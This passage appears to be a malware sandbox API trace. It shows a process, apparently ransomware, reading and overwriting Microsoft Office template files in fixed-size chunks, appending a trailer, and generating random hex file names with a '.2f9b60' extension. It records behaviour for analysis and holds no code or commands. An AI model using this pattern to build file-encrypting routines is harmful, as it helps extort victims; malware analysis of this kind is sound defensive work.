Size=0x20) returned 0x1b85fe50 [0188.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0188.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0188.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0188.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0188.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1cebaf60 [0188.999] sprintf (in: _Dest=0x1cebaf60, _Format="%c%c" | out: _Dest="7c") returned 2 [0188.999] sprintf (in: _Dest=0x1cebaf62, _Format="%c%c" | out: _Dest="b1") returned 2 [0188.999] sprintf (in: _Dest=0x1cebaf64, _Format="%c%c" | out: _Dest="3f") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf66, _Format="%c%c" | out: _Dest="df") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf68, _Format="%c%c" | out: _Dest="ee") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf6a, _Format="%c%c" | out: _Dest="cf") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf6c, _Format="%c%c" | out: _Dest="7b") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf6e, _Format="%c%c" | out: _Dest="3a") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf70, _Format="%c%c" | out: _Dest="66") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf72, _Format="%c%c" | out: _Dest="5f") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf74, _Format="%c%c" | out: _Dest="c2") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf76, _Format="%c%c" | out: _Dest="a3") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf78, _Format="%c%c" | out: _Dest="e3") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf7a, _Format="%c%c" | out: _Dest="03") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf7c, _Format="%c%c" | out: _Dest="4c") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf7e, _Format="%c%c" | out: _Dest="2b") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf80, _Format="%c%c" | out: _Dest="ba") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf82, _Format="%c%c" | out: _Dest="90") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf84, _Format="%c%c" | out: _Dest="b8") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf86, _Format="%c%c" | out: _Dest="2e") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf88, _Format="%c%c" | out: _Dest="29") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf8a, _Format="%c%c" | out: _Dest="93") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf8c, _Format="%c%c" | out: _Dest="b5") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf8e, _Format="%c%c" | out: _Dest="ea") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf90, _Format="%c%c" | out: _Dest="15") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf92, _Format="%c%c" | out: _Dest="f5") returned 2 [0189.000] sprintf (in: _Dest=0x1cebaf94, _Format="%c%c" | out: _Dest="8d") returned 2 [0189.001] sprintf (in: _Dest=0x1cebaf96, _Format="%c%c" | out: _Dest="7b") returned 2 [0189.001] sprintf (in: _Dest=0x1cebaf98, _Format="%c%c" | out: _Dest="a0") returned 2 [0189.001] sprintf (in: _Dest=0x1cebaf9a, _Format="%c%c" | out: _Dest="f4") returned 2 [0189.001] sprintf (in: _Dest=0x1cebaf9c, _Format="%c%c" | out: _Dest="d1") returned 2 [0189.001] sprintf (in: _Dest=0x1cebaf9e, _Format="%c%c" | out: _Dest="a3") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafa0, _Format="%c%c" | out: _Dest="5d") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafa2, _Format="%c%c" | out: _Dest="eb") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafa4, _Format="%c%c" | out: _Dest="d5") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafa6, _Format="%c%c" | out: _Dest="5d") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafa8, _Format="%c%c" | out: _Dest="0a") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafaa, _Format="%c%c" | out: _Dest="19") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafac, _Format="%c%c" | out: _Dest="16") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafae, _Format="%c%c" | out: _Dest="a2") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafb0, _Format="%c%c" | out: _Dest="18") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafb2, _Format="%c%c" | out: _Dest="5f") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafb4, _Format="%c%c" | out: _Dest="8e") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafb6, _Format="%c%c" | out: _Dest="67") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafb8, _Format="%c%c" | out: _Dest="27") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafba, _Format="%c%c" | out: _Dest="6c") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafbc, _Format="%c%c" | out: _Dest="4b") returned 2 [0189.001] sprintf (in: _Dest=0x1cebafbe, _Format="%c%c" | out: _Dest="f8") returned 2 [0189.002] sprintf (in: _Dest=0x1cebafc0, _Format="%c%c" | out: _Dest="ad") returned 2 [0189.002] sprintf (in: _Dest=0x1cebafc2, _Format="%c%c" | out: _Dest="d6") returned 2 [0189.002] sprintf (in: _Dest=0x1cebafc4, _Format="%c%c" | out: _Dest="2b") returned 2 [0189.002] sprintf (in: _Dest=0x1cebafc6, _Format="%c%c" | out: _Dest="45") returned 2 [0189.002] RtlInitAnsiString (in: DestinationString=0x23e4fe68, SourceString="7cb13fdfeecf7b3a665fc2a3e3034c2bba90b82e2993b5ea15f58d7ba0f4d1a35debd55d0a1916a2185f8e67276c4bf8add62b45" | out: DestinationString="7cb13fdfeecf7b3a665fc2a3e3034c2bba90b82e2993b5ea15f58d7ba0f4d1a35debd55d0a1916a2185f8e67276c4bf8add62b45") [0189.002] RtlAnsiStringToUnicodeString (in: DestinationString=0x23e4fe38, SourceString="7cb13fdfeecf7b3a665fc2a3e3034c2bba90b82e2993b5ea15f58d7ba0f4d1a35debd55d0a1916a2185f8e67276c4bf8add62b45", AllocateDestinationString=1 | out: DestinationString="7cb13fdfeecf7b3a665fc2a3e3034c2bba90b82e2993b5ea15f58d7ba0f4d1a35debd55d0a1916a2185f8e67276c4bf8add62b45") returned 0x0 [0189.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1ced0200 [0189.003] RtlFreeAnsiString (AnsiString="7") [0189.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0189.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d81c0) returned 1 [0189.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0189.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x13b620) returned 1 [0189.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0189.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d40) returned 1 [0189.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0189.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0189.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0189.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263800) returned 1 [0189.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0189.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cc90 [0189.008] wcscat (in: _Dest=0x2050cc90, _Source="7cb13fdfeecf7b3a665fc2a3e3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3" [0189.008] wcscat (in: _Dest=0x2050cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3.2f9b60" [0189.008] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3.2f9b60", NtPathName=0x23e4fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\7cb13fdfeecf7b3a665fc2a3e3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0189.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f1c0 Thread: id = 2297 os_tid = 0x1c24 [0145.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx")) returned 0x20 [0145.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx", dwFileAttributes=0x20) returned 1 [0145.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fcc [0145.772] GetFileSizeEx (in: hFile=0x1fcc, lpFileSize=0x3807fc00 | out: lpFileSize=0x3807fc00*=143943) returned 1 [0145.773] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x23243, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.773] ReadFile (in: hFile=0x1fcc, lpBuffer=0x3807fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3807fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3807fb80*, lpNumberOfBytesRead=0x3807fbc8*=0x4, lpOverlapped=0x0) returned 1 [0145.775] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ac30 [0145.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0145.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0145.775] NtQuerySystemTime (in: CurrentTime=0x3807fac0 | out: CurrentTime=0x3807fac0*=132462177510154000) returned 0x0 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x1d2d222d [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0xd5ae716 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x4ffaa7d9 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x1da8c822 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x2b186410 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x619a7fe8 [0145.775] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x61464dbe [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x263fbadc [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x32cecc0f [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x23bd95c [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x7cc09c14 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x22a36cfd [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0xe050a4c [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x22980a32 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x2426cd5d [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x30d1bd62 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x574e3c13 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x73f2c880 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x584b6885 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x5f8d6c14 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x573fb265 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x53cd21b2 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x3a7d33d7 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x6c6a6f65 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x393c736a [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x292b6b7a [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x1dfe79a2 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x43b96205 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x165a5276 [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x2cdf5dbc [0145.776] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x72556806 [0145.777] RtlRandomEx (in: Seed=0x3807fab0 | out: Seed=0x3807fab0) returned 0x4d025e31 [0145.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0145.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a570 [0145.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b110) returned 1 [0145.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ac30) returned 1 [0145.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42229960 [0145.789] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.789] ReadFile (in: hFile=0x1fcc, lpBuffer=0x42229960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3807fb20, lpOverlapped=0x0 | out: lpBuffer=0x42229960*, lpNumberOfBytesRead=0x3807fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0145.790] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ac30 [0145.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ac30) returned 1 [0145.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4222d570 [0145.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ac30 [0145.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b110 [0145.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b110) returned 1 [0145.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.792] WriteFile (hFile=0x1fcc, lpBuffer=0x4222d570, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3807fb20, lpOverlapped=0x0) [0179.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4222d570) returned 1 [0179.885] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.885] ReadFile (in: hFile=0x1fcc, lpBuffer=0x42229960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3807fb20, lpOverlapped=0x0 | out: lpBuffer=0x42229960*, lpNumberOfBytesRead=0x3807fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0180.728] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c600 [0180.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0180.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2210 [0180.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2210) returned 1 [0180.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42899e90 [0180.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2210 [0180.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2000 [0180.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2000) returned 1 [0180.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0180.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c600) returned 1 [0180.732] WriteFile (in: hFile=0x1fcc, lpBuffer=0x42899e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3807fb20, lpOverlapped=0x0 | out: lpBuffer=0x42899e90*, lpNumberOfBytesWritten=0x3807fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42899e90) returned 1 [0198.514] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x1f647, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.514] ReadFile (in: hFile=0x1fcc, lpBuffer=0x42229960, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3807fb20, lpOverlapped=0x0 | out: lpBuffer=0x42229960*, lpNumberOfBytesRead=0x3807fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.711] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x1f647, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0198.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0198.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b470 [0198.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b470) returned 1 [0198.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d3f4c0 [0198.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b470 [0198.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b4a0 [0198.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b4a0) returned 1 [0198.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0198.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0198.716] WriteFile (in: hFile=0x1fcc, lpBuffer=0x42d3f4c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3807fb20, lpOverlapped=0x0 | out: lpBuffer=0x42d3f4c0*, lpNumberOfBytesWritten=0x3807fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0214.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d3f4c0) returned 1 [0214.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15530 [0214.689] SetFilePointerEx (in: hFile=0x1fcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.690] WriteFile (in: hFile=0x1fcc, lpBuffer=0x431f4ca0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3807fbd0, lpOverlapped=0x0 | out: lpBuffer=0x431f4ca0*, lpNumberOfBytesWritten=0x3807fbd0*=0x154, lpOverlapped=0x0) returned 1 [0219.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0219.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe650 [0219.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe650) returned 1 [0219.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fe650 [0219.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe740 [0219.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe530 [0219.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe530) returned 1 [0219.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0219.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c120 [0219.154] sprintf (in: _Dest=0x1b82c120, _Format="%c%c" | out: _Dest="71") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c122, _Format="%c%c" | out: _Dest="7f") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c124, _Format="%c%c" | out: _Dest="7b") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c126, _Format="%c%c" | out: _Dest="ba") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c128, _Format="%c%c" | out: _Dest="5d") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c12a, _Format="%c%c" | out: _Dest="bb") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c12c, _Format="%c%c" | out: _Dest="22") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c12e, _Format="%c%c" | out: _Dest="25") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c130, _Format="%c%c" | out: _Dest="19") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c132, _Format="%c%c" | out: _Dest="e4") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c134, _Format="%c%c" | out: _Dest="a0") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c136, _Format="%c%c" | out: _Dest="9f") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c138, _Format="%c%c" | out: _Dest="73") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c13a, _Format="%c%c" | out: _Dest="1e") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c13c, _Format="%c%c" | out: _Dest="e6") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c13e, _Format="%c%c" | out: _Dest="a7") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c140, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c142, _Format="%c%c" | out: _Dest="0f") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c144, _Format="%c%c" | out: _Dest="e9") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c146, _Format="%c%c" | out: _Dest="96") returned 2 [0219.154] sprintf (in: _Dest=0x1b82c148, _Format="%c%c" | out: _Dest="7f") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c14a, _Format="%c%c" | out: _Dest="ee") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c14c, _Format="%c%c" | out: _Dest="45") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c14e, _Format="%c%c" | out: _Dest="f9") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c150, _Format="%c%c" | out: _Dest="90") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c152, _Format="%c%c" | out: _Dest="70") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c154, _Format="%c%c" | out: _Dest="66") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c156, _Format="%c%c" | out: _Dest="a6") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c158, _Format="%c%c" | out: _Dest="30") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c15a, _Format="%c%c" | out: _Dest="70") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c15c, _Format="%c%c" | out: _Dest="44") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c15e, _Format="%c%c" | out: _Dest="c5") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c160, _Format="%c%c" | out: _Dest="d6") returned 2 [0219.155] sprintf (in: _Dest=0x1b82c162, _Format="%c%c" | out: _Dest="93") returned 2 [0219.155] RtlInitAnsiString (in: DestinationString=0x3807fc48, SourceString="717f7bba5dbb222519e4a09f731ee6a75b0fe9967fee45f9907066a6307044c5d693" | out: DestinationString="717f7bba5dbb222519e4a09f731ee6a75b0fe9967fee45f9907066a6307044c5d693") [0219.155] RtlAnsiStringToUnicodeString (in: DestinationString=0x3807fc18, SourceString="717f7bba5dbb222519e4a09f731ee6a75b0fe9967fee45f9907066a6307044c5d693", AllocateDestinationString=1 | out: DestinationString="717f7bba5dbb222519e4a09f731ee6a75b0fe9967fee45f9907066a6307044c5d693") returned 0x0 [0219.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318c340 [0219.156] wcscat (in: _Dest=0x43183f80, _Source="717f7bba5dbb22251" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251" [0219.156] wcscat (in: _Dest=0x43183f80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251.2f9b60" [0219.156] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251.2f9b60", NtPathName=0x3807fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\717f7bba5dbb22251.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110ba0 Thread: id = 2298 os_tid = 0x1c44 [0148.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx")) returned 0x20 [0148.654] SetFileAttributesW 